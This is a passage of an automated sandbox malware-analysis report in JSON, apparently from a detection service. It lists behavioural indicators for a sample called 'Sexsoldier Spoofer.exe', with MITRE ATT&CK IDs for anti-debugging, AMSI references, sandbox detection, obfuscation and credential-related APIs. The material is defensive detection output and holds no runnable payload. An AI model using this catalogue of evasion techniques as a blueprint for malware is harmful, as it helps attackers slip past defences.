ability to delay execution (Powershell command string)","description":"Found string \"Start-Sleep\" (Indicator: \"Start-Sleep\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load manifest resource from assembly (Dotnet)","description":"Observed namespace \"System.Reflection.Assembly\" and TypeReference \"GetManifestResourceStream\" in \"svchost.exe\"\n Observed namespace \"System.Reflection.Assembly\" and TypeReference \"GetManifestResourceStream\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-173","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"FreeLibraryAndExitThread\" (Indicator: \"FreeLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to rename items (Powershell command string)","description":"Found string \"Rename-ItemProperty\" (Indicator: \"Rename-ItemProperty\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.003","relevance":1,"id":"string-381","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00004648-00000BC0-1103319776\")\n Found reference to \"ertificateUtil::FindAllCertificatesByOidValue: 0 total certificate(s) found.\" (Indicator: \"Oid\"; Source: \"00000000-00001176.00000000.139164.7DA40000.00000004.mdmp\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00002136.00000000.136196.03050000.00000004.mdmp\n Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00002136.00000000.136196.03050000.00000004.mdmp\n 00000000-00002136.00000001.137903.03050000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet code contains potential unpacker","description":"Observed function \"System.Reflection.Load\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file resource with suspicious entropy","description":"svchost.exe has big resource with name: \"svchost.svchost.exe\" size: \"2249148\" and abnormal entropy:\"7.981906103175228\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004648.00000000.135220.04FD0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007992.00000000.138392.04DF0000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\root\\cimv2; Source: \"00000000-00004952-00002713-1110709421\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"ReAgentc.exe\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 6F100000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"SexsoldierSpoofer.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"SexsoldierSpoofer.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"conhost.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"conhost.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2b","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"$2c","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"powershell.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002136-52215-79-00ED9A9C\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002136-52215-174-00ED9D40\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00002136-52215-306-00EDA103\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007728-53433-12-00FBB431\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007728-53433-16-00FBDCE8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007728-53433-202-00FBBF28\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00007728-53433-479-00FBBD95","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00005500-00000C2C-1119203440\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00002136.00000001.137903.08FF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00001176.00000000.139164.7DA40000.00000004.mdmp\")\n Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00002136.00000001.137903.08C7C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$2d","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2e","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00001176.00000000.139164.7DA40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002136.00000001.137903.08FF0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002136.00000001.137903.091A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001176.00000000.139164.7DA40000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.98381","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2f","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$30","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate available system drives (PowerShell command string)","description":"Found string \"Get-PSDrive\" (Indicator: \"Get-PSDrive\"; Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":1,"id":"string-997","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStringsW\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004224-00000C2C-1106155742\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00002136-00000C2C-1120957790\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system file/directory information (.NET)","description":"Observed dotnet function \"GetFiles\" in \"RPZ-HWID.dll\"\n Observed dotnet function \"GetDirectories\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":3,"id":"static-200","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"etUserNameW\" (Source: \"00000000-00001176.00000000.139164.7DA40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004224-00000C2C-1106155742\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00002136-00000C2C-1120957790\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to obtain MAC address in .NET file","description":"Observed retrieval of MAC address \"System.Net.NetworkInformation.GetPhysicalAddress\" in \"RPZ-HWID.dll\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-216","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to obtain instances of WMI classes using PowerShell","description":"Found string \"Get-WmiObject\" (Source: \"00000000-00002136.00000000.136196.05280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-696","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"file/memory contains long string with (Indicator: \"CheckTokenMembership\"; File: \"psmachine_arm64.dll\")\n file/memory contains long string with (Indicator: \"CheckTokenMembership\"; File: \"psuser_arm64.dll\")\n file/memory contains long string with (Indicator: \"CheckTokenMembership\"; File: \"psmachine.dll\")\n file/memory contains long string with (Indicator: \"CheckTokenMembership\"; File: \"psuser.dll\")\n file/memory contains long string with (Indicator: \"CheckTokenMembership\"; File: \"MicrosoftEdgeUpdateCore.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00002136-00000C2C-1122188196\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00004952-00000C2C-1107891166\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in file \"Sexsoldier Spoofer.exe\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"Sexsoldier Spoofer.exe\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in file \"Sexsoldier Spoofer.exe\"\n Found system information discovery API: \"GetNativeSystemInfo\" in file \"Sexsoldier Spoofer.exe\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00002136.00000000.136196.70865000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; File: \"Sexsoldier Spoofer.exe\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00002136.00000000.136196.00EE1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00002136-00000C2C-1120773039\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00002136-00000C2C-1120773089\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"SexsoldierSpoofer.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004648)\n \"conhost.exe\" called \"GetTickCount\" with 